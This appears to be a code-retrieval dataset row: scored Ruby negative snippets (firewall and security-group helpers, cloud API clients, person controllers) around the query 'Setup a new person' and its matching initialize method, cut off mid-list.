if filtertype == :ipv4_output_filter || filtertype == :ipv6_output_filter\n unless action == :accept || action == :discard\n p \"config_fwrules: action type must be accept or discard, was #{action} for outbound policy filter: #{filter},\\\\\n term: #{term}\" if $opts[:verbose]\n\n return ''\n end\n end\n\n # Initialize local vars, strings, hashes, sets, arrays\n fwconfig = String.new\n # fwconfig += \"### From Filter: #{filter}, Term: #{term}\\n\"\n fwconfig += \" edit 0\\n\"\n fwconfig += \" set comment \\\"From Filter: #{filter}, Term: #{term}\\\" \\n\"\n srcaddr_out = String.new\n dstaddr_out = String.new\n service_out = String.new\n dscp_out = String.new\n\n # Put the srcaddr and dstaddrs in a string format acceptable for applying\n # to a FG firewall policy as srcaddr or dstaddr setting. (aka no punctuation, spaces only)\n if srcaddr.count > 0\n srcaddr.each do |x|\n srcaddr_out += x.to_s + ' '\n end\n else\n srcaddr_out = 'all'\n end\n\n if dstaddr.count > 0\n dstaddr.each do |x|\n dstaddr_out += x.to_s + ' '\n end\n else\n if $opts[:map2sub]\n ### When map2sub enabled, any rules with dstaddr any will be changed from any to the subnet\n ### that the associated interfaces IP is in\n case filtertype\n when :ipv4_output_filter\n if $h_interfaces[int.to_sym][sub.to_sym][:'address_v4_primary'] == nil\n $h_interfaces[int.to_sym][sub.to_sym][:vrrp].each_key do |x|\n unless $h_interfaces[int.to_sym][sub.to_sym][:vrrp][x][:'intf-address'] == nil\n intip = IPAddress $h_interfaces[int.to_sym][sub.to_sym][:vrrp][x][:'intf-address'].to_s\n dstaddr_out = intip.network.to_s + '/' + intip.prefix.to_s\n newaddobj = true\n end\n end\n else\n intip = IPAddress $h_interfaces[int.to_sym][sub.to_sym][:address_v4_primary].to_s\n dstaddr_out = intip.network.to_s + '/' + intip.prefix.to_s\n newaddobj = true\n end\n when :ipv6_output_filter\n if $h_interfaces[int.to_sym][sub.to_sym][:'address_v6_primary'] == nil\n $h_interfaces[int.to_sym][sub.to_sym][:vrrp].each_key do |x|\n unless $h_interfaces[int.to_sym][sub.to_sym][:vrrp][x][:'intf-address'] == nil\n intip = IPAddress $h_interfaces[int.to_sym][sub.to_sym][:vrrp][x][:'intf-address'].to_s\n dstaddr_out = intip.network.to_s + '/' + intip.prefix.to_s\n newaddobj = true\n end\n end\n else\n intip = IPAddress $h_interfaces[int.to_sym][sub.to_sym][:address_v6_primary].to_s\n dstaddr_out = intip.network.to_s + '/' + intip.prefix.to_s\n newaddobj = true\n end\n else\n dstaddr_out = 'all'\n end\n else\n dstaddr_out = 'all'\n end\n end\n\n # For input filters we are creating an inbound interface policy\n if filtertype == :ipv4_input_filter || filtertype == :ipv6_input_filter\n fwconfig += \" set interface #{interface}\\n\"\n fwconfig += \" set srcaddr #{srcaddr_out}\\n\"\n fwconfig += \" set dstaddr #{dstaddr_out}\\n\"\n elsif filtertype == :ipv4_output_filter || filtertype == :ipv6_output_filter\n fwconfig += \" set srcintf any\\n\"\n fwconfig += \" set dstintf #{interface}\\n\"\n fwconfig += \" set srcaddr #{srcaddr_out}\\n\"\n fwconfig += \" set dstaddr #{dstaddr_out}\\n\"\n fwconfig += \" set action #{action}\\n\"\n fwconfig += \" set schedule always\\n\"\n else\n p \"config_fwrules: filtertype not supported, skipping #{filtertype}\"\n end\n\n ## Create the source and/or destination services fg config\n if protocol.include?(:tcp)\n dport.each do |x|\n service_out += \"#{x}-tcp \"\n end\n sport.each do |x|\n service_out += \"#{x}-tcp_source \"\n end\n end\n if protocol.include?(:udp)\n dport.each do |x|\n service_out += \"#{x}-udp \"\n end\n sport.each do |x|\n service_out += \"#{x}-udp_source \"\n end\n end\n\n # If no protocol is specified in the term, then we will add tcp and udp.\n if !(protocol.include?(:tcp) || protocol.include?(:udp) || protocol.include?(:icmp))\n dport.each do |x|\n service_out += \"#{x}-tcp \"\n end\n sport.each do |x|\n service_out += \"#{x}-tcp_source \"\n end\n dport.each do |x|\n service_out += \"#{x}-udp \"\n end\n sport.each do |x|\n service_out += \"#{x}-udp_source \"\n end\n elsif (protocol.include?(:tcp) || protocol.include?(:udp) || protocol.include?(:icmp)) &&\\\n (dport.count == 0 && sport.count == 0)\n protocol.each do |x|\n service_out += \"#{x.to_s.upcase} \"\n end\n elsif protocol.include?(:icmp) && !(protocol.include?(:tcp) || protocol.include?(:udp))\n dport.each do |x|\n service_out += \"ICMP-#{x} \"\n end\n end\n\n service_out = 'ALL' if service_out == ''\n fwconfig += \" set service #{service_out} \\n\"\n\n if svc_negate == 'true'\n fwconfig += \" set service-negate enable \\n\"\n end\n\n # if dscp acls in configured create the dscp fg value\n if dscp.count > 0\n dscp.each do |x|\n\n if $h_dscp_map[x.to_s]\n dscpval = $h_dscp_map[x.to_s]\n dscp_out += dscpval + ' '\n else\n p \"config_fw_fules: No DSCP mapping found for dscp: #{x.to_s}\"\n next\n end\n\n fwconfig += \" set dscp-match enable \\n\"\n fwconfig += \" set dscp-value #{dscp_out} \\n\"\n fwconfig += \" set diffserv-forward enable \\n\"\n fwconfig += \" set diffserv-reverse enable \\n\"\n end\n end\n\n fwconfig += \" next\\n\"\n\n return fwconfig, dstaddr_out if newaddobj == true\n return fwconfig, nil\nend", "def get_compute_nat_rules(compute_nodes, frontend_ipconfig_id, nat_rules, compute_natrules)\n if compute_nodes.count > 0\n port_increment = 10\n port_counter = 1\n front_port = 0\n OOLog.info('Configuring NAT Rules ...')\n compute_nodes.each do |compute_node|\n idle_min = 5\n nat_rule_name = \"NatRule-#{compute_node[:ciId]}-#{compute_node[:allow_port]}tcp\"\n front_port = (compute_node[:allow_port].to_i * port_increment) + port_counter\n frontend_port = front_port\n backend_port = compute_node[:allow_port].to_i\n protocol = 'Tcp'\n\n OOLog.info(\"NAT Rule Name: #{nat_rule_name}\")\n OOLog.info(\"NAT Rule Front port: #{frontend_port}\")\n OOLog.info(\"NAT Rule Back port: #{backend_port}\")\n\n nat_rule = AzureNetwork::LoadBalancer.create_inbound_nat_rule(nat_rule_name, protocol, frontend_ipconfig_id, frontend_port, backend_port)\n nat_rules.push(nat_rule)\n\n compute_natrules.push(\n instance_id: compute_node[:instance_id],\n instance_name: compute_node[:instance_name],\n nat_rule: nat_rule\n )\n port_counter += 1\n end\n\n OOLog.info(\"Total NAT rules: #{nat_rules.count}\")\n\n end\n\n nat_rules\nend", "def update_inbound_rule(rule_number, protocol, rule_action, cidr_block, options = {})\n update_rule(rule_number, protocol, rule_action, cidr_block, false, options)\n end", "def add_inbound_rule(rule_number, protocol, rule_action, cidr_block, options = {})\n add_rule(rule_number, protocol, rule_action, cidr_block, false, options)\n end", "def parse_rule(input = T.unsafe(nil)); end", "def ipn_endpoint; end", "def ipn_endpoint; end", "def authorize_security_group_IP_ingress(name, from_port, to_port, protocol='tcp', cidr_ip='0.0.0.0/0')\n edit_security_group( :authorize, name, :from_port => from_port, :to_port => to_port, :protocol => protocol, :cidr_ip => cidr_ip )\n end", "def authorize_security_group_IP_ingress(name, from_port, to_port, protocol='tcp', cidr_ip='0.0.0.0/0')\n edit_security_group( :authorize, name, :from_port => from_port, :to_port => to_port, :protocol => protocol, :cidr_ip => cidr_ip )\n end", "def kube2iam_params(config)\n {\n 'host' => {\n 'iptables' => true,\n 'interface' => 'eni+'\n },\n 'extraArgs' => {\n 'base-role-arn' => \"arn:aws:iam::#{account_number}:role/\",\n 'default-role' => Create::NodeRoleFinder.call(config)\n }.compact\n }\n end", "def arp_src_ip= i; typecast \"arp_src_ip\", i; end", "def patch_rule request_pb, options:, &block\n uri = \"/compute/v1/projects/#{request_pb.project}/global/securityPolicies/#{request_pb.security_policy}/patchRule\"\n body = request_pb.security_policy_rule_resource.to_json\n\n response = @client_stub.make_post_request(\n uri: uri,\n body: body,\n options: options,\n )\n\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n\n result\n end", "def ip_output_from_should\n\n ip_output = '^'\n ip_output += @resource.should(:to) + ' ' if @resource.should(:to)\n ip_output += 'via ' + @resource.should(:via) + ' ' if @resource.should(:via)\n ip_output += 'dev ' + @resource.should(:device) + '\\s+' if @resource.should(:device)\n ip_output += 'table ' + @resource.should(:table) + ' ' if @resource.should(:table)\n return ip_output\n\n end", "def match(req)\n end", "def test_parse_service_yaml_with_api_http\n api1_name = \"test_api1\"\n method1_name = \"test_method1\"\n method1_verb = \"get\"\n method1_binding = \"/v1alpha1/{name=projects/*}/locations\"\n\n method2_name = \"test_method2\"\n method2_verb = \"post\"\n method2_body = \"*\"\n method2_binding1 = \"/v1alpha1/{resource=projects/*/locations/*/connectionProfiles/*}:setIamPolicy\"\n method2_binding2 = \"/v1alpha1/{resource=projects/*/locations/*/streams/*}:setIamPolicy\"\n\n yaml = <<~HEREDOC\n type: google.api.Service\n config_version: 2\n name: my_service\n apis:\n - name: #{api1_name}\n - name: test_api2\n http:\n fully_decode_reserved_expansion: true\n rules:\n - selector: #{api1_name}.#{method1_name}\n #{method1_verb}: '#{method1_binding}'\n - selector: #{api1_name}.#{method2_name}\n #{method2_verb}: '#{method2_binding1}'\n body: '#{method2_body}'\n additional_bindings:\n - #{method2_verb}: '#{method2_binding2}'\n body: '#{method2_body}'\n - post: '/v1alpha1/{resource=projects/*/locations/*/privateConnections/*}:setIamPolicy'\n body: '*'\n - post: '/v1alpha1/{resource=projects/*/locations/*/privateConnections/*/routes/*}:setIamPolicy'\n body: '*'\n HEREDOC\n\n service = Gapic::Schema::ServiceConfigParser.parse_service_yaml yaml\n\n assert(service.apis.any? { |api| api.name == api1_name })\n refute_nil service.http\n http = service.http\n assert_equal 2, http.rules.length\n\n method1_rule = http.rules.find { |rule| rule.selector == \"#{api1_name}.#{method1_name}\" }\n refute_nil method1_rule\n assert method1_rule.respond_to? method1_verb\n assert_equal method1_binding, method1_rule.send(method1_verb)\n\n method2_rule = http.rules.find { |rule| rule.selector == \"#{api1_name}.#{method2_name}\" }\n refute_nil method2_rule\n assert method2_rule.respond_to? method2_verb\n assert_equal method2_binding1, method2_rule.send(method2_verb)\n assert_equal method2_body, method2_rule.body\n\n refute_nil method2_rule.additional_bindings\n method2_addbind = method2_rule.additional_bindings.find do |bind|\n bind.respond_to?(method2_verb) &&\n method2_binding2 == bind.send(method2_verb) &&\n method2_body == bind.body\n end\n refute_nil method2_addbind\n end", "def aws_security_group_enable_outbound_port_80(opts)\n opts[:security_group].authorize_egress('0.0.0.0/0', protocol: :tcp, ports: 80)\n end", "def conditional_requests; end", "def conditional_requests; end", "def nested_arg_action!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 50)\n\n \n # - - - - main rule block - - - -\n # at line 535:2: '[' ( options {greedy=false; k=1; } : NESTED_ARG_ACTION | ACTION_STRING_LITERAL | ACTION_CHAR_LITERAL | . )* ']'\n match(?[)\n # at line 536:2: ( options {greedy=false; k=1; } : NESTED_ARG_ACTION | ACTION_STRING_LITERAL | ACTION_CHAR_LITERAL | . )*\n loop do #loop 11\n alt_11 = 5\n look_11_0 = @input.peek(1)\n\n if (look_11_0 == ?]) \n alt_11 = 5\n elsif (look_11_0 == ?[) \n alt_11 = 1\n elsif (look_11_0 == ?\") \n alt_11 = 2\n elsif (look_11_0 == ?\\') \n alt_11 = 3\n elsif (look_11_0.between?(0x0000, ?!) || look_11_0.between?(?#, ?&) || look_11_0.between?(?(, ?Z) || look_11_0 == ?\\\\ || look_11_0.between?(?^, 0xFFFF)) \n alt_11 = 4\n\n end\n case alt_11\n when 1\n # at line 537:4: NESTED_ARG_ACTION\n nested_arg_action!\n\n when 2\n # at line 538:4: ACTION_STRING_LITERAL\n action_string_literal!\n\n when 3\n # at line 539:4: ACTION_CHAR_LITERAL\n action_char_literal!\n\n when 4\n # at line 540:4: .\n match_any\n\n else\n break #loop 11\n end\n end\n match(?])\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 50)\n\n end", "def add_rule request_pb, options:, &block\n uri = \"/compute/v1/projects/#{request_pb.project}/global/securityPolicies/#{request_pb.security_policy}/addRule\"\n body = request_pb.security_policy_rule_resource.to_json\n\n response = @client_stub.make_post_request(\n uri: uri,\n body: body,\n options: options,\n )\n\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n\n result\n end", "def test_conditional_true\n act = acl {\n respond(200) { true }\n }.call({})\n assert_equal([200, {}, []], act)\n end", "def ingress\n ip, security_group = parse_security_group_and_ip_from_args\n rds.authorize_db_security_group_ingress(security_group, 'CIDRIP' => ip)\n self.access\n end", "def get_rules\n rules = Array.new\n\n RULE_TYPES.each do |reg|\n ebtables_exit = `#{CONF[:ebtables]} -L FORWARD`\n\n rules << ebtables_exit.split(\"\\n\")[3..-1].collect do |l|\n line = l.strip\n m = line.match(reg)\n\n if m\n interface=m[1]\n {\n :interface => interface, \n :rule => line\n }\n else\n nil\n end\n end.compact\n end\n\n rules.flatten\nend", "def get_kubernetes_ingress_by_moid_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.get_kubernetes_ingress_by_moid ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.get_kubernetes_ingress_by_moid\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/Ingresses/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesIngress'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.get_kubernetes_ingress_by_moid\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#get_kubernetes_ingress_by_moid\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def lambda_handler(event:, context:)\n statusCode = 200\n resultBody = JSON.pretty_generate(result:'Success')\n puts \"Message packet arrived from #{event['requestContext']['identity']['sourceIp']}\"\n\n # Check the Basic Auth credentials against A2USER and A2PASS in environment\n unless authorized(event['headers']['Authorization'])\n puts \"Authorization failed\"\n return { statusCode: 403, body: JSON.pretty_generate(result:\"Dismal failure\", reason: \"Invalid credentials\") }\n end\n\n body = event['body']\n aws_account_id = event['requestContext']['accountId']\n # The body may contain more than one report delimited by line breaks\n puts \"Packet contains #{body.lines.length} messages\"\n body.lines.each do |json_message|\n message = JSON.parse(json_message)\n if message['report']\n ComplianceReport.new(aws_account_id, message['report'], message['node']).process_report\n elsif (message['text'] && message['text']==\"TEST: Successful validation completed by Automate\")\n puts \"Received a connecton test from Chef Automate\"\n elsif (message['attributes'])\n puts \"Received Chef run data for node #{message['node']['hostname']}... discarding\"\n else\n puts \"Skipping valid JSON message as its type is not recognised. It looks like this...\\n#{message}\"\n end\n rescue JSON::ParserError => e\n puts \"One or more records did not contain valid JSON.\\nWe received...\\n#{body.lines.join(\"\\n\")}\"\n statusCode = 400\n resultBody = JSON.pretty_generate(result:\"Dismal failure\", reason:\"Bad JSON\", original_request:body.lines.join(\"\\n\"))\n end\n { statusCode: statusCode, body: resultBody }\nend", "def rule_name\n super\n end", "def rules\n cluster.configurationEx.rule\n end", "def rules\n cluster.configurationEx.rule\n end", "def fix_conditions(rule)\n if rule[:precondition] == nil then rule[:precondition] = \"\"\n elsif rule[:precondition][\"1\"][\"const_value\"] == nil then rule[:precondition] = \"\"\n elsif rule[:precondition][\"1\"][\"variable\"][\"1\"][\"complete\"] == nil or rule[:precondition][\"1\"][\"variable\"][\"1\"][\"complete\"].length == 0 then rule[:precondition] = \"\" end\n \n rule[:condition] = Marshal.dump(rule[:condition])\n rule[:precondition] = Marshal.dump(rule[:precondition])\n return rule\n end", "def get_aws_ips()\n content = open(\"https://ip-ranges.amazonaws.com/ip-ranges.json\").read\n resp = JSON.parse(content)['prefixes']\n ips = []\n resp.each do |prefix|\n ips << IPAddr.new(prefix['ip_prefix'])\n end\n return ips\nend", "def add_alias(ip)\n cmd(\"addr add #{ip}/#{prefix} brd + dev #{name}\")\n unless name == 'eth0' || cmd(\"rule list\").include?(\"from #{ip} lookup #{route_table}\")\n cmd(\"rule add from #{ip} lookup #{route_table}\")\n end\n end", "def authorize_security_group_ingress( options = {} )\n options = { :group_name => nil,\n :ip_protocol => nil,\n :from_port => nil,\n :to_port => nil,\n :cidr_ip => nil,\n :source_security_group_name => nil,\n :source_security_group_owner_id => nil }.merge(options)\n\n # lets not validate the rest of the possible permutations of required params and instead let\n # EC2 sort it out on the server side. We'll only require :group_name as that is always needed.\n raise ArgumentError, \"No :group_name provided\" if options[:group_name].nil? || options[:group_name].empty?\n\n params = { \"GroupName\" => options[:group_name],\n \"IpProtocol\" => options[:ip_protocol],\n \"FromPort\" => options[:from_port].to_s,\n \"ToPort\" => options[:to_port].to_s,\n \"CidrIp\" => options[:cidr_ip],\n \"SourceSecurityGroupName\" => options[:source_security_group_name],\n \"SourceSecurityGroupOwnerId\" => options[:source_security_group_owner_id]\n }\n return response_generator(:action => \"AuthorizeSecurityGroupIngress\", :params => params)\n end", "def aws_security_group_enable_outbound_to_subnets(opts)\n opts[:security_group].authorize_egress('10.0.0.0/16')\n end", "def delete_a_record(zone_id, zone_name, domain_name, namespace, ingress_name)\n sleep 1\n client = Aws::Route53::Client.new\n\n a_record = {\n action: \"DELETE\",\n resource_record_set: {\n name: domain_name,\n alias_target: {\n # ZD4D7Y8KGAS4G this zone is the default AWS zone for ELB records, in eu-west-2\n \"hosted_zone_id\": \"ZD4D7Y8KGAS4G\",\n \"dns_name\": get_ingress_endpoint(namespace, ingress_name) + \".\",\n \"evaluate_target_health\": true,\n },\n type: \"A\",\n },\n }\n\n client.change_resource_record_sets({\n hosted_zone_id: zone_id,\n change_batch: {\n changes: [a_record],\n },\n })\nend", "def node_message_roundtrip\n `curl -s -i -L \\\n -u #{Conn[:creds]} \\\n -H 'content-type:application/json' \\\n #{[Conn[:host_api], 'aliveness-test', Conn[:vhost]].join('/')} | grep -c 'ok'`\n end", "def revoke_security_group_IP_ingress(name, owner, from_port, to_port, protocol='tcp', cidr_ip='0.0.0.0/0')\n @ec2.revoke_security_group_ingress_IP(name, protocol, from_port, to_port, cidr_ip) \n rescue Exception\n on_query_exception('revoke_security_group_IP_ingress')\n end", "def authorize_security_group_named_ingress(name, owner, group)\n link = generate_request(\"AuthorizeSecurityGroupIngress\", \n 'GroupName' => name.to_s, \n 'SourceSecurityGroupName' => group.to_s, \n 'SourceSecurityGroupOwnerId' => owner.to_s.gsub(/-/,''))\n request_info(link, RightBoolResponseParser.new(:logger => @logger))\n rescue Exception\n on_exception\n end", "def add_rule request_pb, options:, &block\n request_json = JSON.parse ::Google::Cloud::Compute::V1::AddRuleSecurityPolicyRequest.encode_json(request_pb)\n\n uri = \"/compute/v1/projects/#{request_pb.project}/global/securityPolicies/#{request_pb.security_policy}/addRule\"\n body = request_pb.security_policy_rule_resource.to_json\n\n result_json = @client_stub.make_post_request(\n uri: uri,\n body: body,\n options: options,\n &block\n )\n\n ::Google::Cloud::Compute::V1::Operation.decode_json result_json[:body], { ignore_unknown_fields: true }\n end", "def rule_params\n params.permit(:api_services, :icon, :method, :what, :discount, :user_id)\n end" ]
[ "0.5504648", "0.5355349", "0.5209314", "0.5054006", "0.4969095", "0.48849437", "0.48078898", "0.4793528", "0.47626528", "0.47625217", "0.47625217", "0.47437996", "0.47135276", "0.4674157", "0.46680933", "0.46679094", "0.46648133", "0.46560153", "0.4641458", "0.46394658", "0.4627047", "0.4620577", "0.46173987", "0.46149057", "0.4611739", "0.46074086", "0.4597302", "0.45930067", "0.45856658", "0.45664468", "0.4562659", "0.45465565", "0.4545009", "0.45418727", "0.45387793", "0.45376462", "0.45363933", "0.45106843", "0.4502205", "0.4502205", "0.4502205", "0.4501739", "0.44993988", "0.44859704", "0.44836447", "0.44774625", "0.4453302", "0.44466853", "0.44298342", "0.4426995", "0.44095364", "0.4400353", "0.4397305", "0.4397305", "0.4390967", "0.43895432", "0.43814254", "0.4370795", "0.4366835", "0.4361975", "0.43601885", "0.43581676", "0.4351861", "0.4344799", "0.43393227", "0.43292376", "0.43079898", "0.43028754", "0.43028754", "0.42969093", "0.42969093", "0.42802453", "0.4271035", "0.4267951", "0.42665526", "0.42565238", "0.42428017", "0.42356038", "0.42225054", "0.42225054", "0.42218664", "0.42184705", "0.42153695", "0.42086393", "0.42072085", "0.41950426", "0.41878918", "0.4187535", "0.4185626", "0.4185626", "0.41849127", "0.41840693", "0.41833735", "0.41805172", "0.41800743", "0.41778657", "0.41762632", "0.41717276", "0.4165516", "0.41640005", "0.41611153" ]
0.0
-1
Setup a new person
def initialize( name, options={} ) @parent = options[:parent] @name = name @repositories = Array.new @badges_static = Array.new @badges_dynamic = Array.new end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new_person\r\n @person = Person.new\r\n end", "def create_person(auth, user)\n # connections are lots of people objects!\n person = Person.find_or_create_by_firstname_and_lastname_and_linkedin_id_and_linkedin_url(\n auth.info.first_name, auth.info.last_name, user.uid, auth.info.urls[\"public_profile\"]) \n # Call other two methods and pass person as param\n user_companies(person, auth, user)\n user_schools(person, auth, user)\n add_connection_details(user)\n end", "def create\n \n# next line commented out and following line added 2 aug 17 for connecting users to people (step 17)\n# Person.create(person_params)\n current_user.people.create(person_params) # check nomster/flixter code in this area\n\n redirect_to new_person_path # change to redirect to page showing person created, maybe entire tree\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def ensure_person\n self.person = Person.create(:name => self.name) unless self.person\n end", "def set_person\n\t\t\t@person = Person.find(params[:id])\n\t\tend", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def create_person\n @person = BlockScore::Person.create(@credentials)\n @user.identified = valid?\n @user.identifiable_id = @person.id\n @user.save\n rescue BlockScore::InvalidRequestError\n false\n end", "def set_person\r\n @person = Person.find(params[:id])\r\n end", "def set_person\n ## with 'find', ActiveRecord will raise an exception if the record is not found\n begin\n @person = Person.find(params[:id])\n end\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n\t\t@person = Person.find(params[:id])\n\tend", "def person=(v) \n @person = v\n end", "def voter_politician_create(person)\n case person.downcase\n when \"v\"\n ask_name()\n name = gets.chomp\n ask_politics()\n politics = pick_politics()\n @world.create_voter(name, politics)\n restart()\n when \"p\"\n ask_name()\n name = gets.chomp\n ask_party()\n party = pick_party() \n @world.create_politician(name, party)\n restart()\n else \n restart()\n end\n end", "def create_person\n Neography::Node.create(\"object_id\" => self.id, \"object_type\" => self.class.to_s)\n end", "def set_person\n @person = Person.find_by(random_id: params[:random_id])\n end", "def set_person\n @person = Person.find(params[:person_id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def set_person\n @person = Person.find(params[:id])\n end", "def create\n create_person\n @user.identified\n end", "def create\n _create_or_update(@person)\n end", "def person\n @person ||= Person.find_or_create_by(name: short_name)\n end", "def new_person(apt_name = 0)\n\n #gathers input from user\n\n puts \"Name : \"\n name = gets.chomp\n puts \"Age : \"\n age = gets.chomp\n puts \"Gender : (m or f)\"\n gender = gets.chomp\n\n #if a user enters the person creation menu from the apartment creation menu, the apartment name will have already been specified\n\n if apt_name == 0\n puts \"Apartment : \"\n apt_name = gets.chomp\n end\n\n #if apt exists, adds new instance of person to that apartment\n\n if $b.apts.keys.include?(apt_name.to_sym)\n $b.apts[apt_name.to_sym].renters << Person.new(name, age, gender, apt_name)\n\n #if apt doesn't exist, prompts user to create a new apartment then adds that person to apartment\n\n else\n puts \"Looks like that apartment isn't in the system. Create it now: \"\n puts \" \"\n new_apt(apt_name)\n $b.apts[apt_name.to_sym].renters << Person.new(name, age, gender, apt_name)\n end\n\n #updates the apartment name of the person\n\n $b.apts[apt_name.to_sym].renters.last.apartment = apt_name\n\n #prints string with person's info\n\n puts \"Great! A person has been added to the system with the following information : \"\n $b.apts[apt_name.to_sym].renters.last.to_s\n puts \" \"\nend", "def create\n\t\t@person = Person.new unless @current_user\n\t\[email protected] = session[:cas_user] unless @current_user\n\t\tif @current_user || @person.update_attributes(params[:person])\n\t\t\t#Let's check to see if they have any recommended people they match. If so, send them there, otherwise take them away\n\t\t\t@person ||= @current_user\n\t\t\t@matches = @person.similar_to_me\n\t\t\tif @matches.length > 0\n\t\t\t\trender :new_step2\n\t\t\telse\n\t\t\t\turl = session[:user_flow_entry]\n\t\t\t\tsession[:user_flow_entry] = nil\n\t\t\t\turl ||= dashboard_path\n\t\t\t\tredirect_to url, :notice => \"Profile created successfully. Enjoy the new site! And if you need help, check out the learn tab above.\"\n\t\t\tend\n\t\telse\n\t\t\tflash.now[:error] = \"There was an error with the data you entered, please try again!\"\n\t\t\trender :new\n\t\tend\n\tend", "def set_person\n @person = Person.find(params[:id]) or not_found\n end", "def set_person\n @person = Person.includes(:species, :transports, :planet).find(params[:id])\n end", "def set_person\n @person = Person.where(id: params[:id]).first\n person_hash()\n end", "def set_person\n @person = Person.find_by_slug(params[:id])\n end", "def set_person\n @person = Person.friendly.includes(:groups).find(params[:id])\n end", "def set_created_person\n self[:created_by] = ApplicationController.current_people_id rescue nil\n self[:created_by] ||= People.penguincoder.id rescue nil\n end", "def ask_for_name\n\t\tputs \"What is your name?\"\n\t\tplayer_name = gets.chomp\n\t\t$person = Person.new(player_name)\n\tend", "def setCreatedPerson(createdPerson)\r\n\t\t\t\t\t@createdPerson = createdPerson\r\n\t\t\t\tend", "def create\n\t\t@person = Person.create(person_params)\n\t\tredirect_to person_url(@person)\n\tend", "def set_person\n @person = JpPerson.find(params[:id])\n end", "def create\n @person = Person.new\n \tpopulate_attributes(@person, params[:person])\n \n respond_to do |format|\n if @person.save\n @person = Person.find(@person.id)\n populate_attributes(@person, params[:person])\n @person.save\n\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_person\n\n # this @person is used by :show, :update, :destroy, method in this controller\n # .find_by is used to find by a specific column in DB, in this case, nationalId\n if @person = Person.find_by(nationalId: params[:nationalId])\n @person\n else\n render status: :not_found\n end\n end", "def set_person\n @person = @account.people.includes(:roles).find(params[:id])\n end", "def set_person\n begin\n @person = Person.find(params[:id])\n rescue\n flash[:Error] = \"Person requested was not found.\"\n end\n end", "def set_name(name)\n @person[:name] = name\n end", "def set_person\n @person = Person.find(params[:id])\n authorize @person\n end", "def create\n @person = Person.new(params[:person])\n current_user.confirm(@person)\n\n #Atribui a filial do usuário corrente, caso o mesmo não seja administrador ou diretor\n @person.subsidiary = current_user.person.subsidiary if logged_in? && !current_user.is_director? && !current_user.is_administrator?\n\n respond_to do |format|\n if @person.save\n flash[:notice] = 'Pessoa criada com sucesso!'\n format.html { redirect_to(@person) }\n format.xml { render :xml => @person, :status => :created, :location => @person }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_person\n @person = PartyPerson.find_by(ip: ip)\n end", "def create\n on PersonPage do |create|\n create.description.set random_alphanums\n create.role_id.set @id\n create.add_role\n @qualifiers.each do |unit|\n create.unit_number(@id).fit unit[:unit]\n 